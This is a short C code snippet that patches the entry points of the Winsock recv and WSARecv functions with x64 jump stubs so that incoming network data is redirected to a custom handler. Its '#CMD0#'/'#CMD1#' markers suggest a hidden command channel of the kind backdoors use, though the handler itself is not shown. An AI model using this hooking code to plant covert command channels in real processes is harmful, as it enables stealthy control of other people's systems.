1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #define START_BLOCK "#CMD0#" #define END_BLOCK "#CMD1#"
DWORD dwInstSize = 12; BYTE RecvEntryPointInst[12] = { 0x00 }; BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 }; BYTE WSARecvEntryPointInst[12] = { 0x00 }; BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
typedef int ( *PFNRecv )( SOCKET, char*, int, int ); typedef int ( *PFNSend )( SOCKET, char*, int, int );
typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE ); typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) { DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName); DWORD OldProtect = 0;
if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect)) { if(!strcmp(lpFuncName, "recv")) { memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize); *(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction; } if(!strcmp(lpFuncName, "WSARecv")) { memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize); *(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction; } }
if(!strcmp(lpFuncName, "recv")) memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook)); if(!strcmp(lpFuncName,"WSARecv")) memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect); }
|